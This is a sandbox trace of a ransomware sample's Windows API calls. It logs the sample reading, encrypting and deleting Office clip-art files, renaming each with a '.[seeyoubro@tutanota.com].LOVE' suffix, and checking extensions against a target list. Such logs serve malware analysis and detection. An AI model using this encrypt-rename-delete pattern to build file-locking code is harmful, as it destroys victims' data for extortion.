WriteFile (in: hFile=0x384, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0209.014] SetEndOfFile (hFile=0x384) returned 1 [0209.014] CloseHandle (hObject=0x384) returned 1 [0209.014] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.014] SetEndOfFile (hFile=0x374) returned 1 [0209.015] CloseHandle (hObject=0x374) returned 1 [0209.015] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0209.015] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf")) returned 1 [0209.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0209.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0209.015] lstrlenW (lpString=".doc") returned 4 [0209.015] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0209.015] lstrlenW (lpString=".docx") returned 5 [0209.015] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0209.015] lstrlenW (lpString=".pdf") returned 4 [0209.016] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0209.016] lstrlenW (lpString=".xls") returned 4 [0209.016] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0209.016] lstrlenW (lpString=".xlsx") returned 5 [0209.016] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0209.016] lstrlenW (lpString=".ppt") returned 4 [0209.016] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0209.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0209.016] lstrlenW (lpString=".zip") returned 4 [0209.016] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0209.016] lstrlenW (lpString=".rar") returned 4 [0209.016] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0209.016] lstrlenW (lpString=".bz2") returned 4 [0209.016] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0209.016] lstrlenW (lpString=".7z") returned 3 [0209.016] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0209.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0209.016] lstrlenW (lpString=".dbf") returned 4 [0209.016] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0209.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0209.016] lstrlenW (lpString=".1cd") returned 4 [0209.016] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0209.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0209.016] lstrlenW (lpString=".jpg") returned 4 [0209.016] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0209.016] GetLastError () returned 0x0 [0209.017] ReadFile (in: hFile=0x374, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0xc20, lpOverlapped=0x0) returned 1 [0209.033] WriteFile (in: hFile=0x384, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xc30, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xc30, lpOverlapped=0x0) returned 1 [0209.034] ReadFile (in: hFile=0x374, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0209.034] WriteFile (in: hFile=0x384, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0209.034] SetEndOfFile (hFile=0x384) returned 1 [0209.034] CloseHandle (hObject=0x384) returned 1 [0209.035] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.035] SetEndOfFile (hFile=0x374) returned 1 [0209.035] CloseHandle (hObject=0x374) returned 1 [0209.036] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0209.036] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf")) returned 1 [0209.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0209.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0209.036] lstrlenW (lpString=".doc") returned 4 [0209.036] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0209.036] lstrlenW (lpString=".docx") returned 5 [0209.036] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0209.036] lstrlenW (lpString=".pdf") returned 4 [0209.036] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0209.036] lstrlenW (lpString=".xls") returned 4 [0209.036] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0209.036] lstrlenW (lpString=".xlsx") returned 5 [0209.036] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0209.036] lstrlenW (lpString=".ppt") returned 4 [0209.036] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0209.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0209.036] lstrlenW (lpString=".zip") returned 4 [0209.037] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0209.037] lstrlenW (lpString=".rar") returned 4 [0209.037] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0209.037] lstrlenW (lpString=".bz2") returned 4 [0209.037] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0209.037] lstrlenW (lpString=".7z") returned 3 [0209.037] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0209.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0209.037] lstrlenW (lpString=".dbf") returned 4 [0209.037] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0209.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0209.037] lstrlenW (lpString=".1cd") returned 4 [0209.037] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0209.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0209.037] lstrlenW (lpString=".jpg") returned 4 [0209.037] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0209.039] GetLastError () returned 0x0 [0209.039] ReadFile (in: hFile=0x2f0, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x804, lpOverlapped=0x0) returned 1 [0209.114] WriteFile (in: hFile=0x380, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x810, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x810, lpOverlapped=0x0) returned 1 [0209.462] ReadFile (in: hFile=0x2f0, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0209.462] WriteFile (in: hFile=0x380, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0209.479] SetEndOfFile (hFile=0x380) returned 1 [0210.176] CloseHandle (hObject=0x380) returned 1 [0210.176] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.176] SetEndOfFile (hFile=0x2f0) returned 1 [0210.177] CloseHandle (hObject=0x2f0) returned 1 [0210.177] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0210.178] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf")) returned 1 [0210.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0210.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0210.178] lstrlenW (lpString=".doc") returned 4 [0210.178] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0210.178] lstrlenW (lpString=".docx") returned 5 [0210.178] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0210.178] lstrlenW (lpString=".pdf") returned 4 [0210.178] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0210.178] lstrlenW (lpString=".xls") returned 4 [0210.178] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0210.178] lstrlenW (lpString=".xlsx") returned 5 [0210.178] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0210.178] lstrlenW (lpString=".ppt") returned 4 [0210.178] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0210.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0210.178] lstrlenW (lpString=".zip") returned 4 [0210.178] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0210.178] lstrlenW (lpString=".rar") returned 4 [0210.178] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0210.178] lstrlenW (lpString=".bz2") returned 4 [0210.179] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0210.179] lstrlenW (lpString=".7z") returned 3 [0210.179] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0210.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0210.179] lstrlenW (lpString=".dbf") returned 4 [0210.179] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0210.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0210.179] lstrlenW (lpString=".1cd") returned 4 [0210.179] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0210.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0210.179] lstrlenW (lpString=".jpg") returned 4 [0210.179] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.180] GetLastError () returned 0x0 [0210.180] ReadFile (in: hFile=0x2f0, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0xf6c, lpOverlapped=0x0) returned 1 [0210.322] WriteFile (in: hFile=0x380, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xf70, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xf70, lpOverlapped=0x0) returned 1 [0210.322] ReadFile (in: hFile=0x2f0, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0210.323] WriteFile (in: hFile=0x380, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0210.323] SetEndOfFile (hFile=0x380) returned 1 [0210.323] CloseHandle (hObject=0x380) returned 1 [0210.323] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.323] SetEndOfFile (hFile=0x2f0) returned 1 [0210.324] CloseHandle (hObject=0x2f0) returned 1 [0210.324] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0210.324] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf")) returned 1 [0210.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0210.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0210.327] lstrlenW (lpString=".doc") returned 4 [0210.327] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0210.327] lstrlenW (lpString=".docx") returned 5 [0210.327] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0210.327] lstrlenW (lpString=".pdf") returned 4 [0210.327] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0210.327] lstrlenW (lpString=".xls") returned 4 [0210.327] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0210.327] lstrlenW (lpString=".xlsx") returned 5 [0210.327] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0210.327] lstrlenW (lpString=".ppt") returned 4 [0210.327] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0210.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0210.328] lstrlenW (lpString=".zip") returned 4 [0210.328] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0210.328] lstrlenW (lpString=".rar") returned 4 [0210.328] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0210.328] lstrlenW (lpString=".bz2") returned 4 [0210.328] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0210.328] lstrlenW (lpString=".7z") returned 3 [0210.328] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0210.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0210.328] lstrlenW (lpString=".dbf") returned 4 [0210.328] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0210.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0210.328] lstrlenW (lpString=".1cd") returned 4 [0210.328] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0210.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0210.328] lstrlenW (lpString=".jpg") returned 4 [0210.328] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.333] GetLastError () returned 0x0 [0210.333] ReadFile (in: hFile=0x380, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x976, lpOverlapped=0x0) returned 1 [0210.462] WriteFile (in: hFile=0x358, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x980, lpOverlapped=0x0) returned 1 [0210.463] ReadFile (in: hFile=0x380, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0210.463] WriteFile (in: hFile=0x358, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0210.463] SetEndOfFile (hFile=0x358) returned 1 [0210.463] CloseHandle (hObject=0x358) returned 1 [0210.463] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.463] SetEndOfFile (hFile=0x380) returned 1 [0210.464] CloseHandle (hObject=0x380) returned 1 [0210.464] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0210.465] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf")) returned 1 [0210.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0210.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0210.465] lstrlenW (lpString=".doc") returned 4 [0210.465] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0210.465] lstrlenW (lpString=".docx") returned 5 [0210.465] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0210.465] lstrlenW (lpString=".pdf") returned 4 [0210.465] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0210.465] lstrlenW (lpString=".xls") returned 4 [0210.465] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0210.465] lstrlenW (lpString=".xlsx") returned 5 [0210.465] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0210.466] lstrlenW (lpString=".ppt") returned 4 [0210.466] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0210.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0210.466] lstrlenW (lpString=".zip") returned 4 [0210.466] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0210.466] lstrlenW (lpString=".rar") returned 4 [0210.466] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0210.466] lstrlenW (lpString=".bz2") returned 4 [0210.466] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0210.466] lstrlenW (lpString=".7z") returned 3 [0210.466] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0210.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0210.466] lstrlenW (lpString=".dbf") returned 4 [0210.466] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0210.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0210.466] lstrlenW (lpString=".1cd") returned 4 [0210.466] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0210.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0210.466] lstrlenW (lpString=".jpg") returned 4 [0210.466] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.467] GetLastError () returned 0x0 [0210.467] ReadFile (in: hFile=0x380, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0xb96, lpOverlapped=0x0) returned 1 [0211.988] WriteFile (in: hFile=0x358, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xba0, lpOverlapped=0x0) returned 1 [0211.989] ReadFile (in: hFile=0x380, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0211.989] WriteFile (in: hFile=0x358, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xe2, lpOverlapped=0x0) returned 1 [0211.989] SetEndOfFile (hFile=0x358) returned 1 [0211.989] CloseHandle (hObject=0x358) returned 1 [0211.989] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.989] SetEndOfFile (hFile=0x380) returned 1 [0211.990] CloseHandle (hObject=0x380) returned 1 [0211.990] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0211.990] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf")) returned 1 [0212.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0212.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0212.215] lstrlenW (lpString=".doc") returned 4 [0212.215] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0212.215] lstrlenW (lpString=".docx") returned 5 [0212.215] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0212.215] lstrlenW (lpString=".pdf") returned 4 [0212.215] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0212.215] lstrlenW (lpString=".xls") returned 4 [0212.215] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0212.215] lstrlenW (lpString=".xlsx") returned 5 [0212.215] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0212.215] lstrlenW (lpString=".ppt") returned 4 [0212.215] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0212.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0212.216] lstrlenW (lpString=".zip") returned 4 [0212.216] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0212.216] lstrlenW (lpString=".rar") returned 4 [0212.216] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0212.216] lstrlenW (lpString=".bz2") returned 4 [0212.216] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0212.216] lstrlenW (lpString=".7z") returned 3 [0212.216] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0212.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0212.216] lstrlenW (lpString=".dbf") returned 4 [0212.216] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0212.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0212.216] lstrlenW (lpString=".1cd") returned 4 [0212.216] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0212.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0212.216] lstrlenW (lpString=".jpg") returned 4 [0212.216] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0212.219] GetLastError () returned 0x0 [0212.219] ReadFile (in: hFile=0x35c, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x73bc, lpOverlapped=0x0) returned 1 [0212.575] WriteFile (in: hFile=0x384, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x73c0, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x73c0, lpOverlapped=0x0) returned 1 [0212.576] ReadFile (in: hFile=0x35c, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0212.576] WriteFile (in: hFile=0x384, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0212.576] SetEndOfFile (hFile=0x384) returned 1 [0212.576] CloseHandle (hObject=0x384) returned 1 [0212.577] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0212.577] SetEndOfFile (hFile=0x35c) returned 1 [0212.578] CloseHandle (hObject=0x35c) returned 1 [0212.578] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0212.578] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf")) returned 1 [0212.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0212.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0212.579] lstrlenW (lpString=".doc") returned 4 [0212.579] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0212.579] lstrlenW (lpString=".docx") returned 5 [0212.579] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0212.579] lstrlenW (lpString=".pdf") returned 4 [0212.579] 